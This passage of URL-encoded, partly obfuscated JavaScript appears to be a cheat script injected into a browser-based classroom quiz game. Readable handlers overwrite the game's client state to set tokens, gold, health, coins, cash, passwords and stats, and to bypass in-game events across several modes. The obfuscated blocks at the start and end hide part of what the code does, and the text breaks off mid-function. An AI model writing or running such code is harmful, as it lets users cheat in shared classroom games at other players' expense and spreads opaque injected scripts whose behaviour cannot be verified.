_0xe2aefb%3Btry%7B_0xe2aefb%3DkdCVYp%5B_0x2ef224(0xf5%2C0xc9%2C0xa1%2C0xd7%2C0x109)%5D(_0x3b1c1f%2CkdCVYp%5B_0x28be9b(0x445%2C0x3df%2C0x407%2C0x3fa%2C0x41d)%5D(kdCVYp%5B_0x49e901(0x348%2C0x39b%2C0x359%2C0x3b8%2C0x373)%5D(kdCVYp%5B_0x49e901(0x40f%2C0x3d8%2C0x3b8%2C0x3bd%2C0x3ce)%5D%2CkdCVYp%5B_0x2ef224(0x84%2C0x92%2C0x9e%2C0x63%2C0x7a)%5D)%2C%27)%3B%27))()%3B%7Dcatch(_0x431409)%7B_0xe2aefb%3D_0x11c483%3B%7Dreturn _0xe2aefb%3B%7D%7D%7D)%3Bfunction _0x687a(_0x5e05b8%2C_0x2fa7a2)%7Bvar _0x5bc509%3D_0x5bc5()%3Breturn _0x687a%3Dfunction(_0x687ae1%2C_0x5f5d63)%7B_0x687ae1%3D_0x687ae1-(-0x9*-0x452%2B-0x136f%2B0x6*-0x2ff)%3Bvar _0x522c95%3D_0x5bc509%5B_0x687ae1%5D%3Breturn _0x522c95%3B%7D%2C_0x687a(_0x5e05b8%2C_0x2fa7a2)%3B%7Dfunction _0x5bc5()%7Bvar _0x451f61%3D%5B%27apply%27%2C%27MPMRZ%27%2C%271449908LTNPKW%27%2C%27onten%27%2C%27ctLxr%27%2C%27YMMAA%27%2C%27ermin%27%2C%27574cXScWG%27%2C%27ETQuM%27%2C%27-chil%27%2C%27OALUX%27%2C%27ZXbNS%27%2C%27MdvyV%27%2C%27%23app%5Cx20%27%2C%27691206NBmlpA%27%2C%27les__%27%2C%27.styl%27%2C%27bind%27%2C%27oMZOI%27%2C%27jPogU%27%2C%27proto%27%2C%27JPUTi%27%2C%27ainer%27%2C%27vFZpS%27%2C%27tion%27%2C%27%5Cx22retu%27%2C%27FSFpP%27%2C%27YtOPx%27%2C%27ipifN%27%2C%27oEPPu%27%2C%27Selec%27%2C%27const%27%2C%27%7C0%7C4%7C%27%2C%27FxKeo%27%2C%27%5Cx20>%5Cx20di%27%2C%27textC%27%2C%27ts__r%27%2C%27butto%27%2C%27tor%27%2C%27kuQLk%27%2C%27d(3)%5Cx20%27%2C%27BQsWY%27%2C%27bdSOE%27%2C%27warn%27%2C%27AkQvd%27%2C%27lbBlP%27%2C%27vqXnu%27%2C%27iv.ar%27%2C%27AlEdf%27%2C%27icbTT%27%2C%27v%3Anth%27%2C%27>%5Cx20div%27%2C%27QkxEc%27%2C%27nCont%27%2C%27child%27%2C%27JlMzp%27%2C%27al___%27%2C%27bvIqh%27%2C%27UoDcL%27%2C%27MeDOq%27%2C%27rn%5Cx20th%27%2C%276291XdKukJ%27%2C%27ren%27%2C%27UOBLT%27%2C%27dWXqf%27%2C%27%7C5%7C3%7C%27%2C%27ofcli%27%2C%27ryMzJ%27%2C%27PeisT%27%2C%27DeJls%27%2C%27saCdn%27%2C%27-came%27%2C%27error%27%2C%27VPdgU%27%2C%27excep%27%2C%272%7C1%7C4%27%2C%27nrVWE%27%2C%27hXlXm%27%2C%27jSefY%27%2C%27ZKTUE%27%2C%27WkRIP%27%2C%27Case%5Cx20%27%2C%27ing%27%2C%27click%27%2C%27)%2B)%2B)%27%2C%27is%5Cx22)(%27%2C%27tScVz%27%2C%27to__%27%2C%27gqWtF%27%2C%27mFqWk%27%2C%27YErQQ%27%2C%27_owne%27%2C%27ZWaSU%27%2C%27vrylJ%27%2C%27bkyhQ%27%2C%27yjdRf%27%2C%27nflhz%27%2C%27KNqqk%27%2C%27FdnEK%27%2C%27type%27%2C%27X9w-c%27%2C%2713308fDsBsO%27%2C%27910deWYKT%27%2C%27VuwRn%27%2C%27adFmq%27%2C%27M6E-c%27%2C%27es__t%27%2C%27n()%5Cx20%27%2C%27qvUfM%27%2C%27y___1%27%2C%27v%5Cx20>%5Cx20d%27%2C%27info%27%2C%27CNDpz%27%2C%27egula%27%2C%27EuCoo%27%2C%27corre%27%2C%27-b2QX%27%2C%27nstru%27%2C%27jVtep%27%2C%27bXnZy%27%2C%27MgzAK%27%2C%27pxJhn%27%2C%27___1T%27%2C%27ase.s%27%2C%2732104eDFKGe%27%2C%27amelC%27%2C%27HuWJR%27%2C%27HzPnl%27%2C%27__bod%27%2C%27ase%27%2C%27sapdx%27%2C%27WTpcU%27%2C%27tGgaT%27%2C%27retur%27%2C%27OTTpc%27%2C%27eKJFv%27%2C%27searc%27%2C%27sword%27%2C%27EqleI%27%2C%27mZTYV%27%2C%27ructo%27%2C%27tyles%27%2C%27nctio%27%2C%27v.sty%27%2C%27douwK%27%2C%27zAYFs%27%2C%27UVoHL%27%2C%27toStr%27%2C%27___3y%27%2C%27317649prbYqC%27%2C%27PyRji%27%2C%27FFsNn%27%2C%27table%27%2C%27query%27%2C%27RNtGg%27%2C%27n%5Cx20(fu%27%2C%27rBody%27%2C%272LVw-%27%2C%27NXzBk%27%2C%27ctor(%27%2C%27(((.%2B%27%2C%27lengt%27%2C%27FIeZD%27%2C%27YZWTc%27%2C%27lCase%27%2C%27xIoNv%27%2C%27rASbw%27%2C%2763092tpSRVt%27%2C%27lCBnw%27%2C%27dMVDG%27%2C%27camel%27%2C%27owvqL%27%2C%27WMgOR%27%2C%27owRYW%27%2C%27Ckwva%27%2C%27hXkzc%27%2C%27TnCyP%27%2C%27ctPas%27%2C%27log%27%2C%27pVOFW%27%2C%27WUsCl%27%2C%27%7B%7D.co%27%2C%27vgbxu%27%2C%27IJgiM%27%2C%27ZGwxh%27%2C%27Node%27%2C%27xAGgw%27%2C%27oxGnC%27%2C%27split%27%2C%27state%27%2C%27ianRA%27%2C%27lylSl%27%2C%27__pro%27%2C%27KaVWl%27%2C%273%7C5%7C1%27%2C%27nEzOA%27%2C%27vmAVg%27%2C%27sRRoF%27%2C%274220YLvfpr%27%2C%27conso%27%2C%27LEHcT%27%2C%27RIbrg%27%2C%27HDkCV%27%2C%27trace%27%2C%27TxNwp%27%2C%27value%27%5D%3B_0x5bc5%3Dfunction()%7Breturn _0x451f61%3B%7D%3Breturn _0x5bc5()%3B%7D%0A %7D)%0A esp2.addEventListener(%27click%27%2C () %3D> %7B%0A var pass %3D window.prompt("What would you like your password to be%3F")%0A if (tokenz !%3D null %7C%7C tokenz !%3D undefined) %7B%0A hack.stateNode.state.passwordOptions%5B0%5D %3D pass%3B%0A hack.stateNode.state.password %3D pass%3B%0A window.alert(%60Set password to%3A %24%7Bpass%7D%60)%0A %7D%0A %7D)%3B%0A break%3B%0A case "defense"%3A%0A const settokenss %3D document.getElementById("settokens")%0A const sethealth %3D document.getElementById("sethealth")%0A const setround %3D document.getElementById("setround")%0A const maxtowers %3D document.getElementById("maxtowers")%0A const towersany %3D document.getElementById("towersany")%0A settokenss.addEventListener(%27click%27%2C () %3D> %7B%0A var tokenz %3D window.prompt("How many tokens would you like%3F")%3B%0A if (tokenz !%3D null %7C%7C tokenz !%3D undefined %7C%7C tokenz !%3D NaN) %7B%0A hack.stateNode.state.tokens %3D tokenz%0A %7D%0A %7D)%0A sethealth.addEventListener(%27click%27%2C () %3D> %7B%0A var hltt %3D window.prompt("How much health would you like%3F")%3B%0A if (hltt !%3D null %7C%7C hltt !%3D undefined %7C%7C hltt !%3D NaN) %7B%0A hack.stateNode.state.health %3D hltt%0A %7D%0A %7D)%0A setround.addEventListener(%27click%27%2C () %3D> %7B%0A var rnd %3D window.prompt("What round would you like to be on%3F")%3B%0A if (rnd !%3D null %7C%7C rnd !%3D undefined %7C%7C rnd !%3D NaN) %7B%0A hack.stateNode.state.round %3D rnd%0A %7D%0A %7D)%0A maxtowers.addEventListener(%27click%27%2C () %3D> %7B%0A for (i %3D 0%3B i < e.stateNode.towers.length%3B i%2B%2B) %7B%0A e.stateNode.towers%5Bi%5D.damage %3D "9999"%0A e.stateNode.towers%5Bi%5D.range %3D "99999"%0A e.stateNode.towers%5Bi%5D.blastRadius %3D "999"%0A e.stateNode.towers%5Bi%5D.fullCd %3D "0"%0A %7D%0A %7D)%0A towersany.addEventListener(%27click%27%2C () %3D> %7B%0A for (i %3D 0%3B i < 10%3B i%2B%2B) %7B%0A hack.stateNode.tiles%5Bi%5D %3D %5B0%2C 0%2C 0%2C 0%2C 0%2C 0%2C 0%2C 0%2C 0%2C 0%5D%0A %7D%0A window.alert("You can now place Towers on any tile.")%0A %7D)%0A break%3B%0A case "race"%3A%0A const finish %3D document.getElementById("finish")%0A finish.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.state.progress %3D hack.stateNode.state.goalAmount%3B%0A window.alert("Get one question correct to finish the race.")%0A %7D)%0A break%3B%0A case "kingdom"%3A%0A const esp %3D document.getElementById("esp")%0A const taxes %3D document.getElementById("taxes")%0A const setgold %3D document.getElementById("setgold")%0A const sethappy %3D document.getElementById("sethappy")%0A const setmaterials %3D document.getElementById("setmaterials")%0A const setpeople %3D document.getElementById("setpeople")%0A const max %3D document.getElementById("max")%0A esp.addEventListener(%27click%27%2C () %3D> %7B%0A kingesp()%3B%0A %7D)%0A taxes.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.taxCounter %3D 9999999%3B%0A window.alert("Disabled the Tax Toucan")%0A %7D)%0A setgold.addEventListener(%27click%27%2C () %3D> %7B%0A var goldz %3D window.prompt("How much gold would you like%3F")%3B%0A if (goldz !%3D null %7C%7C goldz !%3D undefined %7C%7C goldz !%3D NaN) %7B%0A hack.stateNode.state.gold %3D goldz%0A %7D%0A %7D)%0A sethappy.addEventListener(%27click%27%2C () %3D> %7B%0A var happi %3D window.prompt("How much happiness would you like%3F")%3B%0A if (happi !%3D null %7C%7C happi !%3D undefined %7C%7C happi !%3D NaN) %7B%0A hack.stateNode.state.happiness %3D goldz%0A %7D%0A %7D)%0A setmaterials.addEventListener(%27click%27%2C () %3D> %7B%0A var matrs %3D window.prompt("How many materials would you like%3F")%3B%0A if (matrs !%3D null %7C%7C matrs !%3D undefined %7C%7C matrs !%3D NaN) %7B%0A hack.stateNode.state.materials %3D matrs%0A %7D%0A %7D)%0A setpeople.addEventListener(%27click%27%2C () %3D> %7B%0A var pple %3D window.prompt("How many people would you like%3F")%3B%0A if (pple !%3D null %7C%7C pple !%3D undefined %7C%7C pple !%3D NaN) %7B%0A hack.stateNode.state.people %3D pple%0A %7D%0A %7D)%0A max.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.state.gold %3D 100%3B%0A hack.stateNode.state.people %3D 100%3B%0A hack.stateNode.state.materials %3D 100%3B%0A hack.stateNode.state.happiness %3D 100%3B%0A window.alert("Maxed stats.")%0A %7D)%0A setInterval(() %3D> %7B%0A if (hack.stateNode.state.guest.no.spawn !%3D null) %7B%0A if (hack.stateNode.state.guest.no.spawn %3D "Dragon1") %7B%0A let cf %3D confirm("Toucan detected%2C would you like to bypass it%3F")%0A if (cf) %7B%0A hack.stateNode.state.guest.no.spawn %3D null%3B%0A window.alert("You can say No safely now.")%0A %7D%0A %7D%0A %7D%0A if (hack.stateNode.state.guest.blook %3D%3D "Witch") %7B%0A let cf %3D confirm("Witch detected%2C would you like to set the outcome of yes to gaining riches%3F")%0A if (cf) %7B%0A for (i %3D 0%3B i < hack.stateNode.state.guest.yes.array.length%3B i%2B%2B) %7B%0A hack.stateNode.state.guest.yes.array%5Bi%5D %3D %7B%0A "msg"%3A "Hmmmm... It looks like your future has plenty of riches."%2C%0A "happiness"%3A 10%2C%0A "people"%3A 10%2C%0A "materials"%3A 10%2C%0A "gold"%3A 15%0A %7D%0A %7D%0A window.alert("When you say yes you will gain%3A%5CnHappiness%3A 10%5CnPeople%3A 10%5CnMaterials%3A 10%5CnGold%3A 15")%0A %7D%0A %7D%0A %7D%2C 500)%3B%0A break%3B%0A case "doom"%3A%0A const lowstats %3D document.getElementById("lowstats")%0A const settokens %3D document.getElementById("settokens")%0A const maxstats %3D document.getElementById("maxstats")%0A const infhlt %3D document.getElementById("infhlt")%0A settokens.addEventListener(%27click%27%2C () %3D> %7B%0A let coinhtml %3D document.querySelector(".styles__playerEnergy___G4cGN-camelCase")%0A var coin %3D window.prompt("How many coins would you like%3F")%3B%0A if (coin !%3D null %7C%7C coin !%3D undefined %7C%7C coin !%3D NaN) %7B%0A hack.stateNode.state.coins %3D coin%0A coinhtml.innerText %3D coin%3B%0A coinhtml.innerHTML %3D coin%3B%0A coinhtml.outerText %3D coin%3B%0A coinhtml.outerHTML %3D coin%3B%0A window.alert("Set coins to " %2B coin)%0A %7D%0A %7D)%0A maxstats.addEventListener(%27click%27%2C () %3D> %7B%0A let stat %3D document.querySelectorAll(".styles__innerPower___3tJ6M-camelCase")%3B%0A let nums %3D document.querySelectorAll(".styles__powerBox___2sDuh-camelCase")%3B%0A hack.stateNode.state.myCard.charisma %3D 20%3B%0A hack.stateNode.state.myCard.strength %3D 20%3B%0A hack.stateNode.state.myCard.wisdom %3D 20%3B%0A stat%5B0%5D.style %3D %27background-color%3A rgb(151%2C 15%2C 5)%3B width%3A 100%25%3B%27%0A stat%5B1%5D.style %3D %27background-color%3A rgb(7%2C 21%2C 93)%3B width%3A 100%25%3B%27%0A stat%5B2%5D.style %3D %27background-color%3A rgb(148%2C 12%2C 128)%3B width%3A 100%25%3B%27%0A nums%5B0%5D.innerText %3D hack.stateNode.state.myCard.strength%3B%0A nums%5B1%5D.innerText %3D hack.stateNode.state.myCard.charisma%3B%0A nums%5B2%5D.innerText %3D hack.stateNode.state.myCard.wisdom%3B%0A window.alert("Set max stats.")%0A %7D)%0A lowstats.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.state.enemyCard.charisma %3D 0%3B%0A hack.stateNode.state.enemyCard.strength %3D 0%3B%0A hack.stateNode.state.enemyCard.wisdom %3D 0%3B%0A window.alert("Set enemy stats to 0")%0A %7D)%0A infhlt.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.state.myLife %3D 69420%0A window.alert("Set Health to 69420")%0A %7D)%0A break%3B%0A case "factory"%3A%0A const mega %3D document.getElementById("mega")%0A const setcash %3D document.getElementById("setcash")%0A const ng %3D document.getElementById("ng")%0A mega.addEventListener(%27click%27%2C () %3D> %7B%0A let blook %3D hack.stateNode.state.blooks%0A for (i %3D 0%3B i < 10%3B i%2B%2B) %7B%0A blook%5Bi%5D %3D %7B%0A "name"%3A "Mega Bot"%2C%0A "color"%3A "%23d71f27"%2C%0A "class"%3A "🤖"%2C%0A "rarity"%3A "Legendary"%2C%0A "cash"%3A %5B80000%2C 430000%2C 4200000%2C 62000000%2C 1000000000%5D%2C%0A "time"%3A %5B5%2C 5%2C 3%2C 3%2C 3%5D%2C%0A "price"%3A %5B7000000%2C 120000000%2C 1900000000%2C 35000000000%5D%2C%0A "active"%3A false%2C%0A "level"%3A 4%2C%0A "bonus"%3A 5.5%0A %7D%3B%0A %7D%0A %7D)%0A setcash.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.state.cash %3D window.prompt("How much cash would you like%3F")%0A %7D)%0A ng.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.state.dance %3D ""%0A hack.stateNode.state.lol %3D ""%0A hack.stateNode.state.joke %3D ""%0A hack.stateNode.state.showTour %3D ""%0A hack.stateNode.state.hazards %3D %5B""%2C ""%2C ""%2C ""%2C ""%5D%0A hack.stateNode.state.glitcherName %3D ""%0A hack.stateNode.state.glitch %3D ""%0A hack.stateNode.state.glitchMsg %3D ""%0A hack.stateNode.state.glitcherBlook %3D ""%0A window.alert("Attempted to remove glitches.")%0A %7D)%0A break%3B%0A case "fishing"%3A%0A const frenzy %3D document.getElementById("frenzy")%0A const setweight %3D document.getElementById("setweight")%0A const setlure %3D document.getElementById("setlure")%0A frenzy.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.state.isFrenzy %3D true%3B%0A %7D)%0A setweight.addEventListener(%27click%27%2C () %3D> %7B%0A var wght %3D window.prompt("How much weight would you like%3F")%3B%0A if (wght !%3D null %7C%7C wght !%3D undefined %7C%7C wght !%3D NaN) %7B%0A hack.stateNode.state.weight %3D wght%0A %7D%0A %7D)%0A setlure.addEventListener(%27click%27%2C () %3D> %7B%0A var lure %3D window.prompt("How much lure would you like%3F (0-4)")%3B%0A if (lure !%3D null %7C%7C lure !%3D undefined %7C%7C lure !%3D NaN) %7B%0A hack.stateNode.state.lure %3D lure%0A %7D%0A %7D)%0A break%3B%0A case "gold"%3A%0A const setgoldg %3D document.getElementById("setgold")%0A const choiceesp %3D document.getElementById("choiceesp")%0A setgoldg.addEventListener(%27click%27%2C () %3D> %7B%0A var gold %3D window.prompt("How much gold would you like%3F")%3B%0A if (gold !%3D null %7C%7C gold !%3D undefined %7C%7C gold !%3D NaN) %7B%0A hack.stateNode.state.gold %3D gold%0A %7D%0A %7D)%0A choiceesp.addEventListener(%27click%27%2C () %3D> %7B%0A goldesp()%0A %7D)%0A break%3B%0A case "cafe"%3A%0A const setcoinz %3D document.getElementById("setcoins")%0A const infifood %3D document.getElementById("inffood")%0A const stockf %3D document.getElementById("stock")%0A setcoinz.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.setState(%7B%0A cafeCash%3A Number(parseFloat(prompt(%27How much cash would you like%3F%27)))%0A %7D)%3B%0A var z %3D document.getElementsByTagName("iframe")%0A z%5Bz.length - 1%5D.remove()%0A x.remove()%0A window.console.clear()%0A %7D)%0A infifood.addEventListener(%27click%27%2C () %3D> %7B%0A if (document.location.pathname !%3D "%2Fcafe") return alert("This cheat doesn%27t work in the shop!")%3B%0A hack.stateNode.state.foods.forEach(e %3D> e.stock %3D 99999)%3B%0A hack.stateNode.forceUpdate()%3B%0A var z %3D document.getElementsByTagName("iframe")%0A z%5Bz.length - 1%5D.remove()%0A x.remove()%0A window.console.clear()%0A %7D)%0A break%3B%0A case "dino"%3A%0A const foshackz %3D document.getElementById("foshack")%0A const multifoz %3D document.getElementById("multifos")%0A foshackz.addEventListener(%27click%27%2C () %3D> %7B%0A (function(_0x3140e0%2C_0xadc443)%7Bfunction _0x436139(_0x5d092c%2C_0x606ed8%2C_0x11a08b%2C_0x137b75%2C_0x100bba)%7Breturn _0x3f3d(_0x137b75-0x1f4%2C_0x100bba)%3B%7Dfunction _0x4bd607(_0x3d50eb%2C_0x14f02a%2C_0x4d3668%2C_0x2f5560%2C_0x2911e0)%7Breturn _0x3f3d(_0x14f02a-0xbd%2C_0x2f5560)%3B%7Dfunction _0x2b58b8(_0x3074ff%2C_0x447109%2C_0x21fb9b%2C_0x5bffbc%2C_0x4367bb)%7Breturn _0x3f3d(_0x21fb9b- -0x1be%2C_0x447109)%3B%7Dvar _0x47e786%3D_0x3140e0()%3Bfunction _0x5e2e31(_0xae045%2C_0x41292f%2C_0x252b6f%2C_0x1368d3%2C_0x8691f7)%7Breturn _0x3f3d(_0x41292f- -0x1ea%2C_0x1368d3)%3B%7Dfunction _0x59baf0(_0x42846e%2C_0x329995%2C_0x5619d4%2C_0x4d1e4e%2C_0x231c2d)%7Breturn _0x3f3d(_0x4d1e4e-0x2c2%2C_0x231c2d)%3B%7Dwhile(!!%5B%5D)%7Btry%7Bvar _0x45d072%3DparseInt(_0x436139(0x2c1%2C0x2d5%2C0x31e%2C0x2ff%2C0x2dd))%2F(0x15d%2B0x161*0x18%2B-0x54*0x69)%2BparseInt(_0x2b58b8(-0x57%2C-0x6c%2C-0x50%2C-0x36%2C-0x41))%2F(0x44*0x70%2B-0x5e*0x25%2B0x2f*-0x58)*(parseInt(_0x4bd607(0x215%2C0x214%2C0x1eb%2C0x229%2C0x1d4))%2F(0x2*0x1215%2B-0x101b%2B-0x2*0xa06))%2BparseInt(_0x4bd607(0x1c6%2C0x1e2%2C0x1f6%2C0x1bd%2C0x219))%2F(-0x277%2B0x1dc1%2B-0x1b46*0x1)%2BparseInt(_0x4bd607(0x1c0%2C0x1fe%2C0x1c6%2C0x21e%2C0x234))%2F(0x8*0x47f%2B0x125a%2B-0x364d)%2B-parseInt(_0x5e2e31(-0x72%2C-0xae%2C-0x7e%2C-0x6e%2C-0xb6))%2F(-0x260%2B-0xfd*0x1%2B0x363)*(parseInt(_0x2b58b8(-0x56%2C-0x11%2C-0x4a%2C-0x1e%2C-0x7b))%2F(0x1e12%2B0x13*0x66%2B-0x259d))%2B-parseInt(_0x2b58b8(-0x11%2C-0x59%2C-0x52%2C-0x6b%2C-0x5b))%2F(-0xb34%2B0xc5*0x1f%2B0xc9f*-0x1)%2BparseInt(_0x4bd607(0x1d4%2C0x204%2C0x1d0%2C0x217%2C0x1fd))%2F(-0xd*0xcc%2B0x1916%2B-0x1*0xeb1)*(-parseInt(_0x5e2e31(-0x8b%2C-0x81%2C-0x7a%2C-0x4c%2C-0x49))%2F(0x8db*0x1%2B-0x7*0x1de%2B0x441))%3Bif(_0x45d072%3D%3D%3D_0xadc443)break%3Belse _0x47e786%5B%27push%27%5D(_0x47e786%5B%27shift%27%5D())%3B%7Dcatch(_0x52fdcd)%7B_0x47e786%5B%27push%27%5D(_0x47e786%5B%27shift%27%5D())%3B%7D%7D%7D(_0x81df%2C0xd0de%2B0x22933*-0x4%2B-0x455*-0x2f9))%3Bvar _0x48e593%3D(function()%7Bfunction _0x4ec056(_0x4f5f77%2C_0x23c12e%2C_0x61cfa3%2C_0x5ec5c0%2C_0x56d9b7)%7Breturn _0x3f3d(_0x23c12e-0x18f%2C_0x56d9b7)%3B%7Dvar _0x50d553%3D%7B%7D%3B_0x50d553%5B_0x9126ee(-0x61%2C-0x5b%2C-0x3e%2C-0x50%2C-0x4b)%5D%3Dfunction(_0x47a7b5%2C_0x12374e)%7Breturn _0x47a7b5%3D%3D%3D_0x12374e%3B%7D%2C_0x50d553%5B_0x9126ee(-0xd8%2C-0x76%2C-0xb7%2C-0xea%2C-0xe8)%5D%3D_0x9126ee(-0x7%2C0xc%2C-0x35%2C-0x26%2C0x3)%2C_0x50d553%5B_0x1fe721(0x4c2%2C0x44e%2C0x4b8%2C0x483%2C0x45d)%5D%3D_0x9126ee(-0xda%2C-0xcc%2C-0xa5%2C-0xb0%2C-0x64)%2C_0x50d553%5B_0x9126ee(-0x8c%2C-0x5c%2C-0x90%2C-0x68%2C-0xd0)%5D%3D_0x3c5ace(0x411%2C0x417%2C0x3e8%2C0x40d%2C0x3d6)%3Bfunction _0x1fe721(_0x7af1ae%2C_0x4a1052%2C_0xd96734%2C_0x4aeec8%2C_0x336e18)%7Breturn _0x3f3d(_0x4aeec8-0x365%2C_0x7af1ae)%3B%7D_0x50d553%5B_0x4ec056(0x2d5%2C0x2b3%2C0x285%2C0x27e%2C0x28a)%5D%3Dfunction(_0x38db83%2C_0x1d5283)%7Breturn _0x38db83!%3D%3D_0x1d5283%3B%7D%3Bfunction _0x3c5ace(_0x3645ef%2C_0x5cfaf9%2C_0x14dd31%2C_0x18234d%2C_0x586c03)%7Breturn _0x3f3d(_0x18234d-0x2f8%2C_0x14dd31)%3B%7D_0x50d553%5B_0x1fe721(0x4f3%2C0x4e4%2C0x49f%2C0x4be%2C0x4c4)%5D%3D_0x1fe721(0x474%2C0x4e3%2C0x4d0%2C0x4a9%2C0x47e)%2C_0x50d553%5B_0x1fe721(0x475%2C0x4bb%2C0x471%2C0x4af%2C0x48f)%5D%3D_0x3233bf(0x440%2C0x4a6%2C0x4ac%2C0x471%2C0x471)%3Bfunction _0x3233bf(_0x416faa%2C_0x77c1c%2C_0x59994d%2C_0x24f4ca%2C_0x3c3882)%7Breturn _0x3f3d(_0x24f4ca-0x350%2C_0x59994d)%3B%7Dvar _0x306bef%3D_0x50d553%2C_0x3030e8%3D!!%5B%5D%3Bfunction _0x9126ee(_0x29e65e%2C_0x49af2f%2C_0x15fe54%2C_0x41bade%2C_0x5bc831)%7Breturn _0x3f3d(_0x15fe54- -0x1ab%2C_0x5bc831)%3B%7Dreturn function(_0x164f04%2C_0x363ca9)%7Bfunction _0x220717(_0xc8c70b%2C_0x48d469%2C_0x484349%2C_0x486613%2C_0x2be0e7)%7Breturn _0x1fe721(_0x486613%2C_0x48d469-0xdb%2C_0x484349-0x1bb%2C_0xc8c70b- -0x4fa%2C_0x2be0e7-0x9e)%3B%7Dfunction _0x40d4b5(_0x362a04%2C_0x5f1330%2C_0xecf5%2C_0x320657%2C_0x24c72d)%7Breturn _0x1fe721(_0x320657%2C_0x5f1330-0x1c%2C_0xecf5-0x144%2C_0x5f1330- -0xfc%2C_0x24c72d-0x1ee)%3B%7Dfunction _0x24925e(_0x3daddc%2C_0xd9432c%2C_0x259b45%2C_0x5271bd%2C_0x269f39)%7Breturn _0x4ec056(_0x3daddc-0x79%2C_0x5271bd-0x238%2C_0x259b45-0x69%2C_0x5271bd-0x1df%2C_0x3daddc)%3B%7Dif(_0x306bef%5B_0x24925e(0x52b%2C0x4ab%2C0x4b4%2C0x4eb%2C0x511)%5D(_0x306bef%5B_0x24925e(0x514%2C0x528%2C0x53e%2C0x520%2C0x521)%5D%2C_0x306bef%5B_0x220717(-0x4b%2C-0x71%2C-0x26%2C-0x8a%2C-0x3f)%5D))%7Bvar _0x17565d%3D_0x3030e8%3Ffunction()%7Bfunction _0x476102(_0x31b543%2C_0x2caa8a%2C_0x2a8698%2C_0x16df38%2C_0x314fa0)%7Breturn _0x220717(_0x16df38-0x2bf%2C_0x2caa8a-0x18b%2C_0x2a8698-0x2e%2C_0x2a8698%2C_0x314fa0-0xbc)%3B%7Dfunction _0x175a70(_0x1f9e46%2C_0x29168f%2C_0x14b4cb%2C_0x1bc4ae%2C_0x2875f9)%7Breturn _0x24925e(_0x14b4cb%2C_0x29168f-0xad%2C_0x14b4cb-0x10a%2C_0x1f9e46- -0x645%2C_0x2875f9-0x192)%3B%7Dfunction _0x36733e(_0x11f3c9%2C_0x4ba41c%2C_0x596fa8%2C_0x263b6a%2C_0x2fd4c8)%7Breturn _0x40d4b5(_0x11f3c9-0xd1%2C_0x596fa8- -0x1e3%2C_0x596fa8-0x188%2C_0x4ba41c%2C_0x2fd4c8-0x1de)%3B%7Dfunction _0x37ff39(_0x445bae%2C_0x5a1ff2%2C_0x2ee606%2C_0x5471df%2C_0x2f0900)%7Breturn _0x40d4b5(_0x445bae-0x161%2C_0x2ee606- -0x46a%2C_0x2ee606-0x26%2C_0x5471df%2C_0x2f0900-0x161)%3B%7Dfunction _0x45c9d4(_0x20b4a4%2C_0xf6f9fd%2C_0x6e9ea0%2C_0x242720%2C_0x5caecb)%7Breturn _0x24925e(_0x6e9ea0%2C_0xf6f9fd-0x120%2C_0x6e9ea0-0x48%2C_0x242720- -0x730%2C_0x5caecb-0x147)%3B%7Dif(_0x306bef%5B_0x37ff39(-0x68%2C-0x56%2C-0x94%2C-0x80%2C-0x57)%5D(_0x306bef%5B_0x37ff39(-0x115%2C-0x12a%2C-0x10d%2C-0x12d%2C-0x14b)%5D%2C_0x306bef%5B_0x45c9d4(-0x2a3%2C-0x235%2C-0x267%2C-0x275%2C-0x25f)%5D))%7Bif(_0x363ca9)%7Bif(_0x306bef%5B_0x476102(0x2c0%2C0x260%2C0x26e%2C0x297%2C0x29c)%5D(_0x306bef%5B_0x476102(0x241%2C0x262%2C0x23c%2C0x248%2C0x26b)%5D%2C_0x306bef%5B_0x175a70(-0x163%2C-0x153%2C-0x192%2C-0x15f%2C-0x121)%5D))%7Bif(_0x2dedbe)%7Bvar _0x33f3d7%3D_0x49e392%5B_0x37ff39(-0xf4%2C-0xd6%2C-0xe8%2C-0xa5%2C-0xba)%5D(_0x355ef5%2Carguments)%3Breturn _0x547b7b%3Dnull%2C_0x33f3d7%3B%7D%7Delse%7Bvar _0x3cda5e%3D_0x363ca9%5B_0x476102(0x260%2C0x20f%2C0x204%2C0x243%2C0x204)%5D(_0x164f04%2Carguments)%3Breturn _0x363ca9%3Dnull%2C_0x3cda5e%3B%7D%7D%7Delse%7Bvar _0x563166%3D_0x25b570%3Ffunction()%7Bfunction _0x1a8f50(_0x29b43a%2C_0x43d08d%2C_0x591b07%2C_0x43dabc%2C_0x189eda)%7Breturn _0x476102(_0x29b43a-0xb5%2C_0x43d08d-0xf8%2C_0x43d08d%2C_0x29b43a- -0xd1%2C_0x189eda-0x11f)%3B%7Dif(_0x4a310a)%7Bvar _0x3632d0%3D_0x2a18a5%5B_0x1a8f50(0x172%2C0x195%2C0x142%2C0x136%2C0x132)%5D(_0x1b586e%2Carguments)%3Breturn _0x5aede3%3Dnull%2C_0x3632d0%3B%7D%7D%3Afunction()%7B%7D%3Breturn _0x2889de%3D!%5B%5D%2C_0x563166%3B%7D%7D%3Afunction()%7B%7D%3Breturn _0x3030e8%3D!%5B%5D%2C_0x17565d%3B%7Delse _0x595fa5%3D_0x56b1fd%3B%7D%3B%7D())%2C_0x4aba1d%3D_0x48e593(this%2Cfunction()%7Bvar _0x451280%3D%7B%7D%3B_0x451280%5B_0x232ae6(0x2fd%2C0x347%2C0x325%2C0x2f4%2C0x306)%5D%3D_0x594059(0x1a1%2C0x162%2C0x19b%2C0x1de%2C0x1d2)%2B_0x594059(0x1ba%2C0x19a%2C0x1c3%2C0x1cb%2C0x1a2)%2B%27%2B%24%27%3Bfunction _0x57247e(_0x322c01%2C_0x384adb%2C_0x4987f1%2C_0x50c448%2C_0x4b5e24)%7Breturn _0x3f3d(_0x4b5e24-0x305%2C_0x322c01)%3B%7Dfunction _0x232ae6(_0x3aa605%2C_0x853524%2C_0x1af329%2C_0xc32ed7%2C_0x3855d3)%7Breturn _0x3f3d(_0x3855d3-0x1cb%2C_0x853524)%3B%7Dfunction _0x54c2d5(_0x272dd2%2C_0x168d21%2C_0x79f39e%2C_0x3f5178%2C_0x13a7f6)%7Breturn 